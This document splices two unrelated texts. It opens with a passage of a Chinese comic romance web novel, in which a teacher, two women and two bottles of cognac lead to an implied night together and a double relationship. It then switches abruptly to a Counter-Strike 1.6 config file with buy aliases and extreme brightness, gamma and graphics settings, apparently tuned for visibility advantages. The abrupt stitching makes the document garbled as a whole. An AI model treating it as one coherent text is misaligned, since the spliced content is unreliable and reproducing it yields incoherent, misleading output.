漂亮仇人很有观众缘,也很有评委缘。这次比赛给她带了荣誉,于是,我刚发的奖金没能花出去,晚餐仍旧是她请客,用她的说法是:庆祝一下。

去餐厅的路上,我发现我那些学生偷偷在后面跟踪。小孩子就是好奇,也许上午的记者瘾还没过够,作为问题多多的领导人,我自然是不欣赏狗仔队的作风。

我向他们恶狠狠地挥了挥手,漂亮仇人问我在干嘛我说赶苍蝇。

其实我还是很爱我的学生的,我从不把他们当成苍蝇,我这么说只是不想让漂亮仇人以为我在向人炫耀什么哪怕我真的有点这个意思。

从这点心态来看,我不是一个做事光明磊落的人,至少我还不想让小护士知道我现在正跟漂亮仇人在一起。

但是,可怕的事还是发生了,当我转头看看那帮学生的时候,我发现小护士竟然也混在其中……

如果不是因为昨天我已经看见过小护士不戴眼镜的模样,我绝对认不出来。

昨天我告诉她不戴眼镜比较好看,她就去买了隐型眼镜。照最坏的可能推算,她一定戴上了,也就是说,她可以很清楚地看见我正和漂亮仇人手拉着手。

心跳呀跳的,和漂亮仇人找了个餐桌,刚坐下,小护士风一样地奔了过来,坐在了我的旁边……这张餐桌有四个座位。

漂亮仇人愣了愣,然后假笑一下,说:“你好呀~~~这么巧。”

“哼!”小护士冲着她使劲哼了一声,却不说话,场面显得异常的尴尬。这时我明白了,小护士昨天说的“我要打败她”原来就是冲着漂亮仇人哼哼让她很尴尬……

其实我也很尴尬,不但我尴尬,站在一边的服务生也很尴尬,他一定在琢磨着该问哪一个点菜,后来看气势,他就把目光转向了小护士。

小护士鼓着腮帮子对服务生说:“两瓶人头马XO!”

从服务生有点夸张的表情上看,这两头马绝对不是啤酒那么简单……

我还是不敢开口,虽然我酒量差得很,但这当口发表什么意见一定不合时宜。

后来我想了想,不如发呆吧,于是我就开始发呆了,这个发呆的过程维持了一个多小时,然后我发现,两个女孩已经把两瓶酒喝得差不多了。

女人要么滴酒不沾,要么酒量惊人,但毕竟是两瓶,在这当口我无论如何得担起送两位回家的责任。

可是问题在这时候出来了,两个醉薰薰的女人都不愿意回家,唉,其实就算她们都想回家,我也拿不定主意先送谁,谁先了另一个肯定不乐意。

也罢,送回我家得了。

当我扶着这两个吵吵闹闹的女友回到我巷子里那破单间的时候,忽听身后当一声。转头看见一群学生窃笑着一哄而散。

那一定是我的学生,他们的窃笑一定是一种取笑,是呀,我这个老师可真是倒霉,没由来的惹了这么两个冤大头。这些学生一点同情心都没有,看我这么惨还取笑我,真是世态炎凉。

可怜巴巴地把小护士和漂亮仇人扶进小屋,正琢磨着下一步该干什么,却看见两个女人看着我的眼神好象有点不对劲。

那眼神,好象,好象什么……

啊!对了,有点像前天电视里‘动物世界’的那头正准备吃兔子的狼的眼神……天啊,还是两头!!!

--------------------------

这个晚上发生了一些事,我不能告诉你,你别多问总之就是不告诉你,因为早上的时候,漂亮仇人和小护士恶狠狠地对我说了同样一句话:“别把昨晚的事到处说去!”

我答应了两次,所以我一定不能说。不过,想起昨晚的事情,我的脸就红红的,我很担心我的学生又要开记者招待会。因为他们一定会问这个晚上发生了什么。

他们虽然是我的好朋友,但他们都还是学生,昨晚发生的事情说出来会把他们教坏的。

之后,漂亮仇人和小护士常常就陪在了我的身边,两人虽然时常吵嘴,但渐渐的好象也就习惯了。

对此我是没什么意见,总之现在我不必为欠她们的钱而烦恼,因为她们俩都说“你跟我谁跟谁呀”,也就是说,她们俩现在都是我的女朋友了,如果我想还钱就是见外。

console "1"

alias dvon "developer 1"
alias dvoff "developer 0"

alias buy1 "menuselect 1"
alias buy2 "menuselect 2"
alias buy3 "menuselect 3"
alias buy4 "menuselect 4"
alias buy5 "menuselect 5"
alias buy6 "menuselect 6"
alias buy7 "menuselect 7"
alias buy8 "menuselect 8"
alias buy9 "menuselect 9"

alias w "wait"
alias wlng "w; w; w; w; slot10; w; w; slot10; w; slot10"
alias clm "wlng; w; w; slot10; w; slot10"
alias clmbuy "w; w; w; slot10; w; w; slot10"

alias +jumpclm "+jump; slot10"
alias -jumpclm "-jump"

alias wepitems "buy; buy6; w; slot10"
alias pistitems "buy; buy7; w; slot10"

alias buyammop "buy; buy6; clmbuy"
alias buyammos "buy; buy7; clmbuy"

alias vest "dvon; dvoff; buyequip; buy1; clmbuy"
alias helm "dvon; dvoff; buyequip; buy2; clmbuy"
alias fb "dvon; dvoff; buyequip; buy3; clmbuy"
alias hegren "dvon; dvoff; buyequip; buy4; clmbuy"
alias sgren "dvon; dvoff; buyequip; buy5; clmbuy"
alias defuser "dvon; buyequip; buy6; clmbuy"
alias nvgs "dvon; dvoff; buyequip; buy7; clmbuy; nightvision"

alias usp "dvon; dvoff; buy; buy1; buy1; pistitems; clmbuy"
alias glock "dvon; dvoff; buy; buy1; buy2; pistitems; clmbuy"
alias deagle "dvon; dvoff; buy; buy1; buy3; pistitems; clmbuy"
alias p228 "dvon; dvoff; buy; buy1; buy4; pistitems; clmbuy"
alias b156 "dvon; dvoff; buy; buy1; buy5; buy6; pistitems; clmbuy"

alias m3 "dvon; dvoff; buy; buy2; buy1; wepitems; clmbuy"
alias xm1014 "dvon; dvoff; buy; buy2; buy2; wepitems; clmbuy"
alias b324 "dvon; dvoff; buy; buy3; buy2; buy4; wepitems; clmbuy"
alias mp5 "dvon; dvoff; buy; buy3; buy1; wepitems; clmbuy"
alias p90 "dvon; dvoff; buy; buy3; buy3; wepitems; clmbuy"
alias ump45 "dvon; dvoff; buy; buy3; buy5; wepitems; clmbuy"
alias b413 "dvon; dvoff; buy; buy4; buy1; buy3; wepitems; clmbuy"
alias b424 "dvon; dvoff; buy; buy4; buy2; buy4; wepitems; clmbuy"
alias scout "dvon; dvoff; buy; buy4; buy5; wepitems; clmbuy"
alias awp "dvon; dvoff; buy; buy4; buy6; buyammo1; clmbuy"
alias b478 "dvon; dvoff; buy; buy4; buy7; buy8; wepitems; clmbuy"
alias m249 "dvon; dvoff; buy; buy5; buy1; wepitems; clmbuy"

//End
precache       "1"
gl_texturemode "gl_linear_mipmap_nearest"
console        "1.0"
hpk_maxsize    "0.1"
crosshair      "1.000000"
model          "31337"
topcolor       "30"
bottomcolor    "6"
tracker        "0"
+mlook
cl_bob      "0"
cl_bobup    "0"
m_filter    "1"
sensitivity "2.00000"
lookstrafe "0"
lookspring "0"
sv_aim      "0"
joystick    "0.000000"
m_pitch     "0.022"
m_yaw       "0.022"
hud_deathnotice_time "15"
hud_fastswitch       "1"
hud_saytext_time     "5"
hud_takesshots       "1"
hud_capturemouse     "1"
hud_centerid         "0"
hud_classautokill    "1"
con_color         "255 255 255"
scr_conspeed      "9999"
scr_centertime    "5"
scr_transparentui "1"
developer       "1"
net_graph       "0"
net_graphwidth  "115"
net_scale       "5"
net_graphpos    "2"
net_graphsolid  "1"
violence_ablood "1"
violence_hblood "1"
violence_agibs  "1"
violence_hgibs  "1"  
texgamma   "2.5"
lightgamma "0.1"
brightness "31377"
gamma      "31377"
r_mmx             "1"
r_decals          "0"
r_polyoffset      "0"
r_picmip          "1"
r_mirroralpha     "0"
r_wateralpha      "0"
r_shadows         "0"
r_drawviewmodel   "1"
r_dynamic         "0"
r_bmodelhighfrac  "5.0"
max_smokepuffs    "0"
max_shells        "0"
gl_dither         "1"
gl_keeptjunctions "0"
gl_max_size       "256"
gl_wateramp       "0"
gl_playermip      "1000.000"
gl_monolights     "0"
gl_lightholes     "0"
gl_picmip         "0.4"
gl_ztrick         "1"
gl_cull           "1"
gl_round_down     "6"
gl_palette_tex    "0"
gl_flipmatrix     "0"
gl_alphamin       "0.25"
gl_spriteblend    "999"
gl_overbright     "0"
gl_monolights     "0"
gl_texsort        "0"
gl_polyoffset     "0.1"
gl_affinemodels   "0"
mp_decals         "0"
gunsmoke          "0"
fps_max           "100"
fps_modem         "100"
fastsprites       "0"
viewsize          "110"
cl_forwardspeed    "400"
cl_backspeed       "400"
cl_upspeed         "400"
cl_downspeed       "400"
cl_sidespeed       "400"
cl_fixtimerate     "7.5"
cl_allowdownload   "0"
cl_allowupload     "0"
cl_cmdrate         "60"
cl_updaterate      "60"
cl_cmdbackup       "2"
cl_download_ingame "1"
cl_himodels        "0"
cl_waterdist       "4"
cl_resend          "2"
cl_timeout         "35"
cl_solid_players   "1"
cl_gaitestimation  "1"
cl_rate            "21000.666016"
cl_gibcount        "1"
cl_giblife         "0"
cl_gibvelscale     "3"
cl_lw              "1"
cl_lb        "0"
cl_lc              "1"
cl_dlmax           "128"
cl_idealpitchscale "0.8"
cl_vsmoothing      "0.05"
cl_smoothtime      "0.1"
cl_nosmooth        "1"
setinfo ah           "1"
setinfo autohelp     "1"                 
setinfo dm           "0"                 
setinfo ghosts       "0"                 
setinfo lefthand     "0"                 
setinfo vgui_menus   "0"
s_a3d               "0"
s_eax               "1"
s_rolloff           "1"
s_doppler           "0"
s_distance          "60"
s_automin_distance  "1"
s_automax_distance  "1000"
s_min_distance      "1"
s_max_distance      "1000"
s_leafnum           "0"
s_refgain           "0.34"
s_refdelay          "4"
s_polykeep          "1000000000"
s_polysize          "10000000"
s_numpolys          "200"
s_bloat             "2"
s_verbwet           "0.25"
s_geometry          "0"
s_geom_reverb       "0"
s_occ_epsilon       "0"
s_occfactor         "1"
s_occlude           "1"
s_reflect           "0"
s_reverb            "0"
s_usepvs            "0"
s_showtossed        "0"
s_2dvolume          "1"
s_materials         "0"
volume              "0.80"
suitvolume          "0.250000"
hisound             "1"
bgmvolume           "0"
snd_mixahead        "0.1"
_snd_mixahead       "0.1"
rate                "10002.2451"
cl_latency          "-29.0521"
sv_cheats           "0"
ex_interp           "0.02"
ex_maxerrordistance "0"
ex_maxaccel         "2000"
ex_maxspeed         "750"
ex_diminishextrap   "0"
ex_correct          "0"
ex_extrapmax        "2"
ex_minvelocity      "0"
hostname       "Acient Gun 'Demi3'"
sv_cheats      "0"
mp_roundtime   "3.68"
mp_maxround    "0"
mp_winlimit    "0"
maxplayers     "11"
mp_timelimit   "0"
mp_freezetime  "0"
mp_limitteams  "10"
mp_autoteambalance "0"
sv_gravity     "16000"
name         "x"

mp_buytime    "0.25"
mp_chasecam   "0"
sv_rcon_maxfailures 3
r_3dsky     "0"
zoom_sensitivity_ratio "1.5"